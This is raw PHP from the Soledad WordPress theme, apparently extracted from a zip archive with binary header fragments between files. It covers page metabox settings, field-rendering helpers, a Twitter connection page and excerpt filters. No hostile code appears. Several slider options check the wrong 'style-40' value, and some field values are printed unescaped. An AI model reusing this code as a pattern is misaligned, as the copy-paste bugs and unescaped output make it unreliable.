			<input id="penci_desktop_page_id" name="penci_desktop_page_id" type="hidden" value="<?php echo esc_attr($penci_desktop_page_id);?>" />

			<?php endif; ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;">Select Featured
                        Slider/Featured Video to Display on Top of This Page?</h2>
                    <p class="description">This option not apply for Page Template Full Width</p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_page_slider_field" name="penci_page_slider_field">
                            <option value=""><?php _e( 'None', 'soledad' ); ?></option>
                            <option value="style-1" <?php selected( $slider, 'style-1' ); ?>><?php _e( 'Posts Featured Slider Style 1', 'soledad' ); ?></option>
                            <option value="style-2" <?php selected( $slider, 'style-2' ); ?>><?php _e( 'Posts Featured Slider Style 2', 'soledad' ); ?></option>
                            <option value="style-3" <?php selected( $slider, 'style-3' ); ?>><?php _e( 'Posts Featured Slider Style 3', 'soledad' ); ?></option>
                            <option value="style-4" <?php selected( $slider, 'style-4' ); ?>><?php _e( 'Posts Featured Slider Style 4', 'soledad' ); ?></option>
                            <option value="style-5" <?php selected( $slider, 'style-5' ); ?>><?php _e( 'Posts Featured Slider Style 5', 'soledad' ); ?></option>
                            <option value="style-6" <?php selected( $slider, 'style-6' ); ?>><?php _e( 'Posts Featured Slider Style 6', 'soledad' ); ?></option>
                            <option value="style-7" <?php selected( $slider, 'style-7' ); ?>><?php _e( 'Posts Featured Slider Style 7', 'soledad' ); ?></option>
                            <option value="style-8" <?php selected( $slider, 'style-8' ); ?>><?php _e( 'Posts Featured Slider Style 8', 'soledad' ); ?></option>
                            <option value="style-9" <?php selected( $slider, 'style-9' ); ?>><?php _e( 'Posts Featured Slider Style 9', 'soledad' ); ?></option>
                            <option value="style-10" <?php selected( $slider, 'style-10' ); ?>><?php _e( 'Posts Featured Slider Style 10', 'soledad' ); ?></option>
                            <option value="style-11" <?php selected( $slider, 'style-11' ); ?>><?php _e( 'Posts Featured Slider Style 11', 'soledad' ); ?></option>
                            <option value="style-12" <?php selected( $slider, 'style-12' ); ?>><?php _e( 'Posts Featured Slider Style 12', 'soledad' ); ?></option>
                            <option value="style-13" <?php selected( $slider, 'style-13' ); ?>><?php _e( 'Posts Featured Slider Style 13', 'soledad' ); ?></option>
                            <option value="style-14" <?php selected( $slider, 'style-14' ); ?>><?php _e( 'Posts Featured Slider Style 14', 'soledad' ); ?></option>
                            <option value="style-15" <?php selected( $slider, 'style-15' ); ?>><?php _e( 'Posts Featured Slider Style 15', 'soledad' ); ?></option>
                            <option value="style-16" <?php selected( $slider, 'style-16' ); ?>><?php _e( 'Posts Featured Slider Style 16', 'soledad' ); ?></option>
                            <option value="style-17" <?php selected( $slider, 'style-17' ); ?>><?php _e( 'Posts Featured Slider Style 17', 'soledad' ); ?></option>
                            <option value="style-18" <?php selected( $slider, 'style-18' ); ?>><?php _e( 'Posts Featured Slider Style 18', 'soledad' ); ?></option>
                            <option value="style-19" <?php selected( $slider, 'style-19' ); ?>><?php _e( 'Posts Featured Slider Style 19', 'soledad' ); ?></option>
                            <option value="style-20" <?php selected( $slider, 'style-20' ); ?>><?php _e( 'Posts Featured Slider Style 20', 'soledad' ); ?></option>
                            <option value="style-21" <?php selected( $slider, 'style-21' ); ?>><?php _e( 'Posts Featured Slider Style 21', 'soledad' ); ?></option>
                            <option value="style-22" <?php selected( $slider, 'style-22' ); ?>><?php _e( 'Posts Featured Slider Style 22', 'soledad' ); ?></option>
                            <option value="style-23" <?php selected( $slider, 'style-23' ); ?>><?php _e( 'Posts Featured Slider Style 23', 'soledad' ); ?></option>
                            <option value="style-24" <?php selected( $slider, 'style-24' ); ?>><?php _e( 'Posts Featured Slider Style 24', 'soledad' ); ?></option>
                            <option value="style-25" <?php selected( $slider, 'style-25' ); ?>><?php _e( 'Posts Featured Slider Style 25', 'soledad' ); ?></option>
                            <option value="style-26" <?php selected( $slider, 'style-26' ); ?>><?php _e( 'Posts Featured Slider Style 26', 'soledad' ); ?></option>
                            <option value="style-27" <?php selected( $slider, 'style-27' ); ?>><?php _e( 'Posts Featured Slider Style 27', 'soledad' ); ?></option>
                            <option value="style-28" <?php selected( $slider, 'style-28' ); ?>><?php _e( 'Posts Featured Slider Style 28', 'soledad' ); ?></option>
                            <option value="style-29" <?php selected( $slider, 'style-29' ); ?>><?php _e( 'Posts Featured Slider Style 29', 'soledad' ); ?></option>
                            <option value="style-30" <?php selected( $slider, 'style-30' ); ?>><?php _e( 'Posts Featured Slider Style 30', 'soledad' ); ?></option>
                            <option value="style-31" <?php selected( $slider, 'style-31' ); ?>><?php _e( 'Penci Slider Style 1', 'soledad' ); ?></option>
                            <option value="style-32" <?php selected( $slider, 'style-32' ); ?>><?php _e( 'Penci Slider Style 2', 'soledad' ); ?></option>
                            <option value="style-33" <?php selected( $slider, 'style-33' ); ?>><?php _e( 'Revolution Slider Full Width', 'soledad' ); ?></option>
                            <option value="style-34" <?php selected( $slider, 'style-34' ); ?>><?php _e( 'Revolution Slider In Container', 'soledad' ); ?></option>
                            <option value="style-35" <?php selected( $slider, 'style-35' ); ?>><?php _e( 'Posts Featured Slider Style 35', 'soledad' ); ?></option>
                            <option value="style-36" <?php selected( $slider, 'style-36' ); ?>><?php _e( 'Posts Featured Slider Style 36', 'soledad' ); ?></option>
                            <option value="style-37" <?php selected( $slider, 'style-37' ); ?>><?php _e( 'Posts Featured Slider Style 37', 'soledad' ); ?></option>
                            <option value="style-38" <?php selected( $slider, 'style-38' ); ?>><?php _e( 'Posts Featured Slider Style 38', 'soledad' ); ?></option>
                            <option value="style-40" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 39', 'soledad' ); ?></option>
                            <option value="style-41" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 40', 'soledad' ); ?></option>
                            <option value="style-42" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 41', 'soledad' ); ?></option>
                            <option value="style-44" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 42', 'soledad' ); ?></option>
                            <option value="video" <?php selected( $slider, 'video' ); ?>><?php _e( 'Featured Video Background', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>

            <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Revolution Slider Shortcode', 'soledad' ); ?></h2>
            <p class="description"><?php _e( 'If you select Revolution Slider above, please fill Revolution Slider Shortcode here. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
            <textarea style="width: 100%; height: 50px;"
                      name="penci_page_rev_shortcode"><?php if ( $rev_shortcode ): echo $rev_shortcode; endif; ?></textarea>

            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Featured Boxes?', 'soledad' ); ?> </h2>
                <p class="select-button-type">
                    <select id="penci_page_display_featured_boxes" name="penci_page_display_featured_boxes">
                        <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $featured_boxes, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Page Title?', 'soledad' ); ?> </h2>
                <p class="select-button-type">
                    <select id="penci_page_display_title_field" name="penci_page_display_title_field">
                        <option value=""><?php _e( 'Default', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $pagetitle, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Breadcrumb on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_breadcrumb_field" name="penci_page_breadcrumb_field">
                        <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $breadcrumb, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Display Share Box on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_sharebox_field" name="penci_page_sharebox_field">
                        <option value=""><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $sharebox, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">

                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Hide Header on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_hide_header_field" name="penci_page_hide_header_field">
                        <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $hide_header, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;">Hide Footer on This
                    Page?</h2>
                <p class="select-button-type">
                    <select id="penci_page_hide_footer_field" name="penci_page_hide_footer_field">
                        <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $hide_footer, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Select Sidebar Position for This Page', 'soledad' ); ?></h2>
                    <p style="clear: both"
                       class="description"><?php esc_html_e( 'This option just apply for Page Template "Default Template", "Page with Sidebar" and "Page VC Builder with Sidebar"', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_sidebar_page_pos" name="penci_sidebar_page_pos">
                            <option value=""><?php esc_html_e( "Default", "soledad" ); ?></option>
                            <option value="left-sidebar" <?php selected( $page_sidebar, 'left-sidebar' ); ?>><?php esc_html_e( "Left Sidebar", "soledad" ); ?></option>
                            <option value="right-sidebar" <?php selected( $page_sidebar, 'right-sidebar' ); ?>><?php esc_html_e( "Right Sidebar", "soledad" ); ?></option>
                            <option value="two-sidebar" <?php selected( $page_sidebar, 'two-sidebar' ); ?>><?php esc_html_e( "Two Sidebar", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			<div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Disable All Adsense Code on This Page', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_dis_ads" name="penci_page_dis_ads">
                            <option value=""><?php esc_html_e( "No, Keep all Ads", "soledad" ); ?></option>
                            <option value="disable" <?php selected( $penci_page_dis_ads, 'disable' ); ?>><?php esc_html_e( "Yes, Disable all Ads", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			
			<?php
                $post_type = get_theme_mod( 'penci_ha_enabled_post_types', [] );
                if ( in_array( 'page', $post_type ) ) {
            ?>
			<div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Enable Article Feedback for This
                        Page', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
						<select id="penci_helpful_enable" name="penci_helpful_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			<?php } ?>

            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Custom Sidebar for This Posts/Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'Note: for page, you can choose display sidebar or no in Template "Page with Sidebar" and custom sidebar here, if sidebar you choice here is empty, will display sidebar you choice for page in customize. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_custom_sidebar_page_field" name="penci_custom_sidebar_page_field">
                            <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                            <option value="main-sidebar" <?php selected( $value, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                            <option value="main-sidebar-left" <?php selected( $value, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                            <option value="custom-sidebar-1" <?php selected( $value, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                            <option value="custom-sidebar-2" <?php selected( $value, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                            <option value="custom-sidebar-3" <?php selected( $value, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                            <option value="custom-sidebar-4" <?php selected( $value, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                            <option value="custom-sidebar-5" <?php selected( $value, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                            <option value="custom-sidebar-6" <?php selected( $value, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                            <option value="custom-sidebar-7" <?php selected( $value, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                            <option value="custom-sidebar-8" <?php selected( $value, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                            <option value="custom-sidebar-9" <?php selected( $value, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                            <option value="custom-sidebar-10" <?php selected( $value, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
							<?php Penci_Custom_Sidebar::get_list_sidebar( $value ); ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Custom Sidebar Left for This Posts/Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'Note: for page, you can choose display sidebar or no in Template "Page with Sidebar" and custom sidebar here, if sidebar you choice here is empty, will display sidebar you choice for page in customize. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_custom_sidebar_left_page_field" name="penci_custom_sidebar_left_page_field">
                            <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                            <option value="main-sidebar" <?php selected( $value_left, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                            <option value="main-sidebar-left" <?php selected( $value_left, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                            <option value="custom-sidebar-1" <?php selected( $value_left, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                            <option value="custom-sidebar-2" <?php selected( $value_left, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                            <option value="custom-sidebar-3" <?php selected( $value_left, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                            <option value="custom-sidebar-4" <?php selected( $value_left, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                            <option value="custom-sidebar-5" <?php selected( $value_left, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                            <option value="custom-sidebar-6" <?php selected( $value_left, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                            <option value="custom-sidebar-7" <?php selected( $value_left, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                            <option value="custom-sidebar-8" <?php selected( $value_left, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                            <option value="custom-sidebar-9" <?php selected( $value_left, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                            <option value="custom-sidebar-10" <?php selected( $value_left, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
							<?php Penci_Custom_Sidebar::get_list_sidebar( $value_left ); ?>
                        </select>
                    </p>
                </div>
            </div>
			<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ): ?>
                <div class="penci-metabox-row penci-col-12">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Create a Separate Critical CSS cache for this Page?', 'soledad' ); ?></h2>
                    <p class="select-button-type">
                        <select id="penci_post_critical_css" name="penci_post_critical_css">
                            <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_post_critical_css, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
			<?php endif;
		}

		private static function get_value_input( $field_id ) {
			$tab = self::$tab;

			$output = '';

			if ( $tab ) {
				if ( 'term' == self::$type ) {
					$penci_pmeta = get_term_meta( self::$post_id, 'penci_pmeta_' . $tab, true );
				} else {
					$penci_pmeta = get_post_meta( self::$post_id, 'penci_pmeta_' . $tab, true );
				}

				if ( isset( $penci_pmeta[ $field_id ] ) ) {
					$output = $penci_pmeta[ $field_id ];
				}
			} else {
				if ( 'term' == self::$type ) {
					$output = get_term_meta( self::$post_id, $field_id, true );
				} else {
					$output = get_post_meta( self::$post_id, $field_id, true );
				}
			}


			return $output;
		}

		private static function html_field_text( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$placeholder = '';
			if ( isset( $field['placeholder'] ) && $field['placeholder'] ) {
				$placeholder = 'placeholder="' . $field['placeholder'] . '"';
			}


			printf( '<input %s type="text" name="%s" id="%s" %s value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				$placeholder,
				self::get_value_input( $field['id'] )
			);

			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_number( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';
			printf( '<input %s type="number" name="%s" id="%s" value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);

			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_textarea( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			printf( '<textarea %s name="%s" id="%s">%s</textarea>',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_wysiwyg( $field ) {
			echo '<div class="penci-metabox-row ' . esc_attr( $field['id'] ) . ( $field['style'] ? ' ' . $field['style'] : '' ) . '">';

			if ( isset( $field['name'] ) && $field['name'] ) {
				echo '<div class="penci-mb-labeldesc">';
				self::html_field_label( $field );
				self::html_field_desc( $field['desc'] );
				echo '</div>';
			}

			echo '<div class="penci-mb-input">';

			$content = self::get_value_input( $field['id'] );

			$field['options']['textarea_name'] = $field['id'];
			$field['options']['dfw']           = isset( $field['1'] ) ? $field['1'] : '';

			if ( ! isset( $field['options']['editor_height'] ) ) {
				$field['options']['editor_height'] = '250';
			}

			if ( isset( $field['options']['textarea_rows'] ) && $field['options']['textarea_rows'] ) {
				$field['options']['textarea_rows'] = '10';
			}

			wp_editor( $content, $field['id'], $field['options'] );

			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_checkbox( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$selected = self::get_value_input( $field['id'] );

			printf( '<input %s name="%s" id="%s"  type="checkbox" %s>',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				checked( $selected, 1, false )
			);
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_select( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );

			echo '</div>';
			echo '<div class="penci-mb-input">';
			printf( '<select %s name="%s" id="%s">%s',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				''
			);
			$options  = $field['options'];
			$selected = self::get_value_input( $field['id'] );

			foreach ( (array) $options as $param_name => $param_value ) {
				?>
                <option
                value="<?php echo $param_name; ?>" <?php selected( $selected, $param_name, true ); ?>><?php echo $param_value; ?></option><?php
			}
			echo '</select>';
			self::html_field_desc( $field['desc'] );

			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_image_select( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$value_current = self::get_value_input( $field['id'] );

			if ( ! $value_current && $field['std'] ) {
				$value_current = $field['std'];
			}

			echo '<div class="penci-image-select-wrap">';
			$options = $field['options'];
			$tpl     = '<label class="penci-image-select"><img src="%s"><input type="%s" %s class="penci-image_select" name="%s" value="%s"%s></label>';

			$value_current = (array) $value_current;
			foreach ( (array) $options as $value => $image ) {
				printf(
					$tpl,
					$image,
					'radio',
					self::html_attr_input( $field ),
					$field['id'],
					$value,
					checked( in_array( $value, $value_current ), true, false )
				);
			}
			echo '</div>';
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_color( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			printf( '<input class="penci-color-picker rwmb-color" type="text" %s name="%s" id="%s" value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();

			wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', array( 'jquery' ), RWMB_VER, true );
			RWMB_Color_Field::admin_enqueue_scripts();
		}

		private static function html_field_image( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';

			$img_id = self::get_value_input( $field['id'] );
			$url    = wp_get_attachment_thumb_url( $img_id );
			?>
            <div class="penci-mb-input penci-widget-image media-widget-control">
                <input name="<?php echo $field['id']; ?>" type="hidden" class="penci-widget-image__input"
                       value="<?php echo esc_attr( $img_id ); ?>">
                <img src="<?php echo esc_url( $url ); ?>"
                     class="penci-widget-image__image<?php echo $img_id ? '' : ' hidden'; ?>">
                <div class="placeholder <?php echo( $url ? 'hidden' : '' ); ?>"><?php _e( 'No image selected' ); ?></div>
                <button class="button penci-widget-image__select"><?php esc_html_e( 'Select' ); ?></button>
                <button class="button penci-widget-image__remove"><?php esc_html_e( 'Remove' ); ?></button>
            </div>
			<?php
			self::html_field_div_after();
		}

		private static function html_field_custom_html( $field ) {
			echo '<div class="penci-metabox-row">';
			echo $field['std'];
			self::html_field_div_after();
		}

		private static function html_field_srart_accordion( $field ) {
			echo '<div class="penci-accordion-name ' . $field['std'] . '"><h3>' . $field['name'] . '</h3><span class="handle-repeater"></span></div>';
			echo '<div class="penci-panel-accordion">';
		}

		private static function html_field_end_accordion( $field ) {
			echo '</div>';
		}

		private static function html_field_div_before( $field_id, $style ) {
			echo '<div id="' . esc_attr( $field_id ) . '" class="penci-metabox-row ' . esc_attr( $field_id ) . ( $style ? ' ' . $style : $style ) . '">';
		}

		private static function html_field_div_after() {
			echo '</div>';
		}

		private static function html_field_label( $field ) {
			echo '<label for="' . esc_attr( $field['id'] ) . '" class="penci-metabox-label ' . esc_attr( $field['id'] ) . 'label">' . esc_attr( $field['name'] ) . '</label>';
		}

		private static function html_field_desc( $desc ) {
			echo '<span class="penci-metabox-desc">' . $desc . '</span>';
		}

		private static function html_attr_input( $field ) {
			$html  = '';
			$attrs = isset( $field['attrs'] ) ? $field['attrs'] : array();
			foreach ( (array) $attrs as $attr_key => $attr_value ) {
				$html .= ' ' . $attr_key . '="' . $attr_value . '"';
			}

			return $html;
		}


	}
endif;
PK     N\S   S     inc/twitter/init.phpnu [        <?php
include( trailingslashit( PENCI_SOLEDAD_DIR ). 'inc/twitter/dashpage.php' );
PK     N\Ie
  
    inc/twitter/dashpage.phpnu [        <?php

class TwitterSettingPages {
	function __construct() {
		if ( ! function_exists( 'sb_twitter_feed_init' ) ) {
			add_action( 'admin_menu', [ $this, 'add_settings_page' ], 90 );
			add_action( 'init', [ $this, 'sb_twitter_feed' ] );
		}
	}

	public function add_settings_page() {
		add_submenu_page( 'soledad_dashboard_welcome', esc_html__( 'Connect Twitter', 'soledad' ), esc_html__( 'Connect Twitter', 'soledad' ), 'manage_options', 'penci_twitter_token', [
			$this,
			'dashboard_content'
		], 3 );
	}

	public function sb_twitter_feed() {
		if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if ( ! empty( $_GET['page'] ) && sanitize_text_field( $_GET['page'] ) === 'custom-twitter-feeds' && is_array( $_GET ) ) {

			$nonce = isset( $_REQUEST['nonce'] ) && $_REQUEST['nonce'] ? $_REQUEST['nonce'] : '';
			
			if ( wp_verify_nonce( $nonce, 'custom-twitter-feeds' ) ) {

				update_option( 'penci_options[penci_twitter]', $_GET );

				// Redirect
				$redirect = admin_url( 'admin.php?page=penci_twitter_token' );
				wp_redirect( $redirect );

				exit;
			}
		}
	}

	public function dashboard_content() {
		$nonce = wp_create_nonce( 'custom-twitter-feeds' );
		$twitter_api         = 'https://api.smashballoon.com/twitter-login.php?return_uri=' . admin_url( 'admin.php?page=custom-twitter-feeds&nonce='.$nonce );
		$twitter_token       = get_option( 'penci_options[penci_twitter]' );
		$twitter_label       = __( 'You\'ve not connected to any Twitter Account.', 'soledad' );
		$twitter_description = sprintf( __( 'You can <a class="%1$s" href="%2$s" target="_blank">click here</a> to connect to your Twitter account.', 'soledad' ), 'penci_twitter_access_token twitter', $twitter_api );
		if ( ! empty( $twitter_token ) && isset( $twitter_token['screen_name'] ) ) {
			$twitter_label = sprintf( __( 'Connected to account <strong>%s</strong>', 'soledad' ), $twitter_token['screen_name'] );
		} else if ( isset( $twitter_token['error'] ) && $twitter_token['error'] ) {
			$twitter_label = __( 'Error connect to your Twitter account. Please try to connect later.', 'soledad' );
		}
		?>
        <div class="penci-insta-token-wrapper">
            <div class="pc-ins-tk top-icon">
                <span class="dashicons dashicons-twitter"></span>
            </div>
            <div class="pc-ins-tk top-head">
                <h3><?php echo $twitter_label; ?></h3>
                <p>
					<?php echo $twitter_description; ?>
                </p>
            </div>
        </div>
		<?php
	}
}

new TwitterSettingPages();
PK     N\($      inc/excerpt.phpnu [        <?php
add_filter( 'penci_the_excerpt', 'wptexturize' );
add_filter( 'penci_the_excerpt', 'convert_smilies' );
add_filter( 'penci_the_excerpt', 'convert_chars' );
add_filter( 'penci_the_excerpt', 'wpautop' );
add_filter( 'penci_the_excerpt', 'shortcode_unautop' );

/**
 * Display the post excerpt.
 */
if ( ! function_exists( 'penci_the_excerpt' ) ):
	function penci_the_excerpt( $length = 25 ) {
		echo apply_filters( 'penci_the_excerpt', penci_get_the_excerpt( null, $length ) );
	}
endif;
/**
 * Retrieves the post excerpt.
 */
if ( ! function_exists( 'penci_get_the_excerpt' ) ):
	function penci_get_the_excerpt( $post = null, $length = 30 ) {
		$post = get_post( $post );
		if ( empty( $post ) ) {
			return '';
		}

		if ( post_password_required( $post ) ) {
			return __( 'There is no excerpt because this is a protected post.' );
		}

		return penci_trim_excerpt( $post->post_excerpt, $length );
	}
endif;

/**
 * Generates an excerpt from the content, if needed.
 *
 * The excerpt word amount will be 30 words and if the amount is greater than
